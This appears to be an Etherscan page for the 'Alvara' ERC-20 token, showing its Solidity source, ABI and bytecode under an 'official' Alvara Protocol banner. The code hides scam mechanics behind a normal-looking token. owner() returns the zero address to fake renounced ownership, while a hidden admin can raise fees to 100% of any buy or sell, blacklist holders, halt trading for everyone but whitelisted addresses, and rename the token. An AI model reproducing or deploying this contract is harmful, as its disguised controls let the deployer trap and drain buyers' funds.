ERC-20
Overview
Max Total Supply
200,000,000 ALVA
Holders
119
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Alvara
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-03 */ /* The official group of Alvara Protocol. Website : https://www.alvaraprotocol.io/ X : https://twitter.com/AlvaraProtocol Telegram : http://t.me/alvaraprotocol */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IUniswapV2Router01 { function WETH() external pure returns (address); function factory() external view returns (address); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event AdminTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } function admin() public view virtual returns (address) { return _owner; } function owner() public view virtual returns (address) { return address(0); } modifier onlyOwner() { require(admin() == _msgSender(), "!owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit AdminTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _changeMetadata( string memory name_, string memory symbol_ ) internal { _name = name_; _symbol = symbol_; } function _transfer( address from, address to, uint256 amount ) internal virtual { if (amount == 0) return; require(from != address(0), "FZA"); require(to != address(0), "TZA"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "exceeds"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "TZA"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "FZA"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "exceeds"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "FZA"); require(spender != address(0), "TZA"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20UserStatus is ERC20, Ownable { mapping(address => bool) public userStatus; function setUserStatus(address address_, bool status_) external onlyOwner { userStatus[address_] = status_; } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { require(!userStatus[from] && !userStatus[to], "blacklisted"); super._beforeTokenTransfer(from, to, amount); } } abstract contract ERC20TaxHandler is ERC20, Ownable { error OverMaxBasisPoints(); struct TokenConfiguration { address treasury; uint16 transferFeesBPs; uint16 buyFeesBPs; uint16 sellFeesBPs; } TokenConfiguration internal tokenConfiguration; mapping(address => uint256) internal addressConfiguration; uint256 public constant MAX_FEES = 10_000; uint256 public constant FEE_RATE_DENOMINATOR = 10_000; constructor(uint16 _transferFee, uint16 _buyFee, uint16 _sellFee) { if ( _transferFee > MAX_FEES || _buyFee > MAX_FEES || _sellFee > MAX_FEES ) { revert OverMaxBasisPoints(); } tokenConfiguration = TokenConfiguration({ treasury: msg.sender, transferFeesBPs: _transferFee, buyFeesBPs: _buyFee, sellFeesBPs: _sellFee }); } function setTreasury(address _treasury) external onlyOwner { tokenConfiguration.treasury = _treasury; } function setTransferFeesBPs(uint16 fees) external onlyOwner { if (fees > MAX_FEES) { revert OverMaxBasisPoints(); } tokenConfiguration.transferFeesBPs = fees; } function setBuyFeesBPs(uint16 fees) external onlyOwner { if (fees > MAX_FEES) { revert OverMaxBasisPoints(); } tokenConfiguration.buyFeesBPs = fees; } function setSellFeesBPs(uint16 fees) external onlyOwner { if (fees > MAX_FEES) { revert OverMaxBasisPoints(); } tokenConfiguration.sellFeesBPs = fees; } function feeWL(address _address, bool _status) external onlyOwner { uint256 packed = addressConfiguration[_address]; addressConfiguration[_address] = _packBoolean(packed, 0, _status); } function liquidityPairList( address _address, bool _status ) external onlyOwner { uint256 packed = addressConfiguration[_address]; addressConfiguration[_address] = _packBoolean(packed, 1, _status); } function treasury() public view returns (address) { return tokenConfiguration.treasury; } function transferFeesBPs() public view returns (uint256) { return tokenConfiguration.transferFeesBPs; } function buyFeesBPs() public view returns (uint256) { return tokenConfiguration.buyFeesBPs; } function sellFeesBPs() public view returns (uint256) { return tokenConfiguration.sellFeesBPs; } function getFeeRate( address from, address to ) public view returns (uint256) { uint256 fromConfiguration = addressConfiguration[from]; if (_unpackBoolean(fromConfiguration, 0)) return 0; uint256 toConfiguration = addressConfiguration[to]; if (_unpackBoolean(toConfiguration, 0)) return 0; TokenConfiguration memory configuration = tokenConfiguration; if (_unpackBoolean(fromConfiguration, 1)) return configuration.buyFeesBPs; if (_unpackBoolean(toConfiguration, 1)) return configuration.sellFeesBPs; return configuration.transferFeesBPs; } function isFeeWhitelisted(address account) public view returns (bool) { return _unpackBoolean(addressConfiguration[account], 0); } function isLiquidityPair(address account) public view returns (bool) { return _unpackBoolean(addressConfiguration[account], 1); } function _transfer( address from, address to, uint256 amount ) internal virtual override { uint256 fromConfiguration = addressConfiguration[from]; if (_unpackBoolean(fromConfiguration, 0)) { super._transfer(from, to, amount); return; } uint256 toConfiguration = addressConfiguration[to]; if (_unpackBoolean(toConfiguration, 0)) { super._transfer(from, to, amount); return; } uint256 fee; TokenConfiguration memory configuration = tokenConfiguration; if (_unpackBoolean(fromConfiguration, 1)) { unchecked { fee = (amount * configuration.buyFeesBPs) / FEE_RATE_DENOMINATOR; } } else if (_unpackBoolean(toConfiguration, 1)) { unchecked { fee = (amount * configuration.sellFeesBPs) / FEE_RATE_DENOMINATOR; } } else { unchecked { fee = (amount * configuration.transferFeesBPs) / FEE_RATE_DENOMINATOR; } } uint256 amountAfterFee; unchecked { amountAfterFee = amount - fee; } super._transfer(from, to, amountAfterFee); super._transfer(from, configuration.treasury, fee); } function _packBoolean( uint256 source, uint256 index, bool value ) internal pure returns (uint256) { if (value) { return source | (1 << index); } else { return source & ~(1 << index); } } function _unpackBoolean( uint256 source, uint256 index ) internal pure returns (bool) { // return (source >> index) & 1 == 1; return source & (1 << index) > 0; } } contract Alvara is ERC20, ERC20UserStatus, ERC20TaxHandler { error Disable(); bool private _tradingEnable; constructor( string memory _name, string memory _symbol, uint256 _supply ) ERC20(_name, _symbol) ERC20TaxHandler(0, 0, 0) { addressConfiguration[msg.sender] = _packBoolean(0, 0, true); _mint(msg.sender, _supply * 10 ** 18); _setUp(); } function changeMetadata( string memory name_, string memory symbol_ ) external onlyOwner { _changeMetadata(name_, symbol_); } function setTrade(bool status) external onlyOwner { _tradingEnable = status; } function _transfer( address from, address to, uint256 amount ) internal virtual override(ERC20, ERC20TaxHandler) { ERC20TaxHandler._transfer(from, to, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override(ERC20, ERC20UserStatus) { if ( !_tradingEnable && !isFeeWhitelisted(from) && !isFeeWhitelisted(to) && !isFeeWhitelisted(msg.sender) ) revert Disable(); super._beforeTokenTransfer(from, to, amount); } function _setUp() internal { IUniswapV2Router01 uniswapV2Router = IUniswapV2Router01( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); address uniswapV2Pair = _computePairAddress( uniswapV2Router.factory(), address(this), uniswapV2Router.WETH() ); uint256 packed = addressConfiguration[uniswapV2Pair]; addressConfiguration[uniswapV2Pair] = _packBoolean(packed, 1, true); } // compute Uniswap pair address and whitelist it function _computePairAddress( address factory, address token0, address token1 ) internal pure returns (address) { if (token0 > token1) (token0, token1) = (token1, token0); return address( uint160( uint256( keccak256( abi.encodePacked( bytes1(0xff), factory, keccak256(abi.encodePacked(token0, token1)), bytes32( 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f ) ) ) ) ) ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Disable","type":"error"},{"inputs":[],"name":"OverMaxBasisPoints","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"AdminTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FEE_RATE_DENOMINATOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_FEES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"admin","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeMetadata","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"feeWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"getFeeRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isFeeWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isLiquidityPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"liquidityPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setBuyFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setSellFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"fees","type":"uint16"}],"name":"setTransferFeesBPs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_treasury","type":"address"}],"name":"setTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"address_","type":"address"},{"internalType":"bool","name":"status_","type":"bool"}],"name":"setUserStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFeesBPs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162001de038038062001de08339810160408190526200003491620006fa565b6000808085856003620000488382620007fb565b506004620000578282620007fb565b505050620000746200006e6200019660201b60201c565b6200019a565b6127108361ffff1611806200008e57506127108261ffff16115b806200009f57506127108161ffff16115b15620000be57604051636b5c426160e01b815260040160405180910390fd5b604080516080810182523380825261ffff95861660208301819052948616928201839052929094166060909401849052600780546001600160b01b03191661ffff60a01b1990931692909217600160a01b9093029290921763ffffffff60b01b1916600160b01b90920261ffff60c01b191691909117600160c01b909202919091179055620001516000806001620001ec565b3360008181526008602052604090209190915562000183906200017d83670de0b6b3a7640000620008dd565b62000212565b6200018d620002ef565b50505062000938565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b600081156200020257506001821b83176200020b565b506001821b1983165b9392505050565b6001600160a01b038216620002545760405162461bcd60e51b8152602060048201526003602482015262545a4160e81b60448201526064015b60405180910390fd5b62000262600083836200042a565b8060026000828254620002769190620008f7565b90915550506001600160a01b03821660009081526020819052604081208054839290620002a5908490620008f7565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000620003df826001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200034d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037391906200090d565b30846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d991906200090d565b620004a1565b6001600160a01b0381166000908152600860205260409020549091506200040981600180620001ec565b6001600160a01b039092166000908152600860205260409020919091555050565b60095460ff1615801562000446575062000444836200057e565b155b80156200045b575062000459826200057e565b155b80156200047057506200046e336200057e565b155b156200048f576040516325a3113560e01b815260040160405180910390fd5b6200049c838383620005a3565b505050565b6000816001600160a01b0316836001600160a01b03161115620004c2579091905b50604080516001600160601b0319606094851b811660208084019190915293851b81166034830152825180830360280181526048830184528051908501207fff0000000000000000000000000000000000000000000000000000000000000060688401529590941b9093166069840152607d8301939093527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808401919091528351808403909101815260bd909201909252805191012090565b6001600160a01b03811660009081526008602052604081205460011615155b92915050565b6001600160a01b03831660009081526006602052604090205460ff16158015620005e657506001600160a01b03821660009081526006602052604090205460ff16155b620006225760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b60448201526064016200024b565b6200049c8383836001600160e01b038416565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200065d57600080fd5b81516001600160401b03808211156200067a576200067a62000635565b604051601f8301601f19908116603f01168101908282118183101715620006a557620006a562000635565b81604052838152602092508683858801011115620006c257600080fd5b600091505b83821015620006e65785820183015181830184015290820190620006c7565b600093810190920192909252949350505050565b6000806000606084860312156200071057600080fd5b83516001600160401b03808211156200072857600080fd5b62000736878388016200064b565b945060208601519150808211156200074d57600080fd5b506200075c868287016200064b565b925050604084015190509250925092565b600181811c908216806200078257607f821691505b602082108103620007a357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200049c57600081815260208120601f850160051c81016020861015620007d25750805b601f850160051c820191505b81811015620007f357828155600101620007de565b505050505050565b81516001600160401b0381111562000817576200081762000635565b6200082f816200082884546200076d565b84620007a9565b602080601f8311600181146200086757600084156200084e5750858301515b600019600386901b1c1916600185901b178555620007f3565b600085815260208120601f198616915b82811015620008985788860151825594840194600190910190840162000877565b5085821015620008b75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200059d576200059d620008c7565b808201808211156200059d576200059d620008c7565b6000602082840312156200092057600080fd5b81516001600160a01b03811681146200020b57600080fd5b61149880620009486000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c806370a082311161010f578063c53c6a1c116100a2578063f2fde38b11610071578063f2fde38b14610440578063f851a44014610453578063fe6b782814610464578063ffeaa6951461047757600080fd5b8063c53c6a1c146103ce578063daea8623146103e1578063dd62ed3e146103f4578063f0f442601461042d57600080fd5b80638da5cb5b116100de5780638da5cb5b146103ac57806395d89b41146103b3578063a9059cbb146103bb578063c2300bef1461030157600080fd5b806370a0823114610355578063715018a61461037e578063848cc3031461038657806385a04dd01461039957600080fd5b80633cb86fe4116101875780635a70ad28116101565780635a70ad28146103015780635c9a05b81461030a5780635fb6697a1461031d57806361d027b31461033057600080fd5b80633cb86fe4146102b55780634c268a6f146102c857806357c64b28146102db578063595bddf9146102ee57600080fd5b806321eceff7116101c357806321eceff71461025d578063225d29a11461027057806323b872dd14610293578063313ce567146102a657600080fd5b806306fdde03146101f5578063095ea7b314610213578063142e9ab81461023657806318160ddd1461024b575b600080fd5b6101fd61048a565b60405161020a9190611025565b60405180910390f35b61022661022136600461108f565b61051c565b604051901515815260200161020a565b6102496102443660046110c9565b610536565b005b6002545b60405190815260200161020a565b61024961026b3660046110e4565b61057c565b61022661027e366004611117565b60066020526000908152604090205460ff1681565b6102266102a1366004611132565b6105d1565b6040516012815260200161020a565b6102496102c336600461116e565b6105f7565b6102496102d636600461116e565b61066a565b6102496102e93660046110e4565b6106dd565b6102496102fc366004611235565b61074e565b61024f61271081565b610226610318366004611117565b610786565b61024961032b3660046110e4565b6107a9565b6007546001600160a01b03165b6040516001600160a01b03909116815260200161020a565b61024f610363366004611117565b6001600160a01b031660009081526020819052604090205490565b6102496107f8565b61024f610394366004611299565b61082e565b6102496103a736600461116e565b610917565b600061033d565b6101fd61098a565b6102266103c936600461108f565b610999565b600754600160b01b900461ffff1661024f565b6102266103ef366004611117565b6109a7565b61024f610402366004611299565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61024961043b366004611117565b6109ca565b61024961044e366004611117565b610a16565b6005546001600160a01b031661033d565b600754600160a01b900461ffff1661024f565b600754600160c01b900461ffff1661024f565b606060038054610499906112c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104c5906112c3565b80156105125780601f106104e757610100808354040283529160200191610512565b820191906000526020600020905b8154815290600101906020018083116104f557829003601f168201915b5050505050905090565b60003361052a818585610a91565b60019150505b92915050565b6005546001600160a01b031633146105695760405162461bcd60e51b8152600401610560906112fd565b60405180910390fd5b6009805460ff1916911515919091179055565b6005546001600160a01b031633146105a65760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000336105df858285610b6a565b6105ea858585610bf5565b60019150505b9392505050565b6005546001600160a01b031633146106215760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff16111561064857604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160b01b0261ffff60b01b19909216919091179055565b6005546001600160a01b031633146106945760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff1611156106bb57604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160c01b0261ffff60c01b19909216919091179055565b6005546001600160a01b031633146107075760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b0382166000908152600860205260408120549061072d90829084610c05565b6001600160a01b039093166000908152600860205260409020929092555050565b6005546001600160a01b031633146107785760405162461bcd60e51b8152600401610560906112fd565b6107828282610c26565b5050565b6001600160a01b0381166000908152600860205260408120546002161515610530565b6005546001600160a01b031633146107d35760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b03821660009081526008602052604090205461072d81600184610c05565b6005546001600160a01b031633146108225760405162461bcd60e51b8152600401610560906112fd565b61082c6000610c3f565b565b6001600160a01b038216600090815260086020526040812054600181161561085a576000915050610530565b6001600160a01b038316600090815260086020526040902054600181161561088757600092505050610530565b604080516080810182526007546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b9004909116606082015260028316156108eb576040015161ffff169250610530915050565b6002821615610906576060015161ffff169250610530915050565b6020015161ffff1695945050505050565b6005546001600160a01b031633146109415760405162461bcd60e51b8152600401610560906112fd565b6127108161ffff16111561096857604051636b5c426160e01b815260040160405180910390fd5b6007805461ffff909216600160a01b0261ffff60a01b19909216919091179055565b606060048054610499906112c3565b60003361052a818585610bf5565b6001600160a01b0381166000908152600860205260408120546001161515610530565b6005546001600160a01b031633146109f45760405162461bcd60e51b8152600401610560906112fd565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610a405760405162461bcd60e51b8152600401610560906112fd565b6001600160a01b038116610a855760405162461bcd60e51b815260206004820152600c60248201526b7a65726f206164647265737360a01b6044820152606401610560565b610a8e81610c3f565b50565b6001600160a01b038316610acd5760405162461bcd60e51b8152602060048201526003602482015262465a4160e81b6044820152606401610560565b6001600160a01b038216610b095760405162461bcd60e51b8152602060048201526003602482015262545a4160e81b6044820152606401610560565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381166000908152600160209081526040808320938616835292905220546000198114610bef5781811015610be25760405162461bcd60e51b8152602060048201526016602482015275696e73756666696369656e7420616c6c6f77616e636560501b6044820152606401610560565b610bef8484848403610a91565b50505050565b610c00838383610c91565b505050565b60008115610c1957506001821b83176105f0565b506001821b1983166105f0565b6003610c32838261136b565b506004610c00828261136b565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec690600090a35050565b6001600160a01b0383166000908152600860205260409020546001811615610cbe57610bef848484610dd4565b6001600160a01b0383166000908152600860205260409020546001811615610cf257610ceb858585610dd4565b5050505050565b604080516080810182526007546001600160a01b038116825261ffff600160a01b820481166020840152600160b01b8204811693830193909352600160c01b900490911660608201526000906002841615610d6a57612710816040015161ffff16860281610d6257610d6261142b565b049150610dad565b6002831615610d8e57612710816060015161ffff16860281610d6257610d6261142b565b612710816020015161ffff16860281610da957610da961142b565b0491505b818503610dbb888883610dd4565b610dca88836000015185610dd4565b5050505050505050565b80600003610de157505050565b6001600160a01b038316610e1d5760405162461bcd60e51b8152602060048201526003602482015262465a4160e81b6044820152606401610560565b6001600160a01b038216610e595760405162461bcd60e51b8152602060048201526003602482015262545a4160e81b6044820152606401610560565b610e64838383610f48565b6001600160a01b03831660009081526020819052604090205481811015610eb75760405162461bcd60e51b81526020600482015260076024820152666578636565647360c81b6044820152606401610560565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610eee908490611441565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3a91815260200190565b60405180910390a350505050565b60095460ff16158015610f615750610f5f836109a7565b155b8015610f735750610f71826109a7565b155b8015610f855750610f83336109a7565b155b15610fa3576040516325a3113560e01b815260040160405180910390fd5b610c008383836001600160a01b03831660009081526006602052604090205460ff16158015610feb57506001600160a01b03821660009081526006602052604090205460ff16155b610c005760405162461bcd60e51b815260206004820152600b60248201526a189b1858dadb1a5cdd195960aa1b6044820152606401610560565b600060208083528351808285015260005b8181101561105257858101830151858201604001528201611036565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461108a57600080fd5b919050565b600080604083850312156110a257600080fd5b6110ab83611073565b946020939093013593505050565b8035801515811461108a57600080fd5b6000602082840312156110db57600080fd5b6105f0826110b9565b600080604083850312156110f757600080fd5b61110083611073565b915061110e602084016110b9565b90509250929050565b60006020828403121561112957600080fd5b6105f082611073565b60008060006060848603121561114757600080fd5b61115084611073565b925061115e60208501611073565b9150604084013590509250925092565b60006020828403121561118057600080fd5b813561ffff811681146105f057600080fd5b634e487b7160e01b600052604160045260246000fd5b600082601f8301126111b957600080fd5b813567ffffffffffffffff808211156111d4576111d4611192565b604051601f8301601f19908116603f011681019082821181831017156111fc576111fc611192565b8160405283815286602085880101111561121557600080fd5b836020870160208301376000602085830101528094505050505092915050565b6000806040838503121561124857600080fd5b823567ffffffffffffffff8082111561126057600080fd5b61126c868387016111a8565b9350602085013591508082111561128257600080fd5b5061128f858286016111a8565b9150509250929050565b600080604083850312156112ac57600080fd5b6112b583611073565b915061110e60208401611073565b600181811c908216806112d757607f821691505b6020821081036112f757634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b601f821115610c0057600081815260208120601f850160051c810160208610156113445750805b601f850160051c820191505b8181101561136357828155600101611350565b505050505050565b815167ffffffffffffffff81111561138557611385611192565b6113998161139384546112c3565b8461131d565b602080601f8311600181146113ce57600084156113b65750858301515b600019600386901b1c1916600185901b178555611363565b600085815260208120601f198616915b828110156113fd578886015182559484019460019091019084016113de565b508582101561141b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601260045260246000fd5b8082018082111561053057634e487b7160e01b600052601160045260246000fdfea26469706673582212206094e14964074e3242b34be24d9677780ce0980d15a935a1413624d4644db01064736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000bebc2000000000000000000000000000000000000000000000000000000000000000098416c76617261202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202030783865373239313938643143353942383262643662426135373933313043343064373430413131433200000000000000000000000000000000000000000000000000000000000000000000000000000004414c564100000000000000000000000000000000000000000000000000000000
Deployed Bytecode
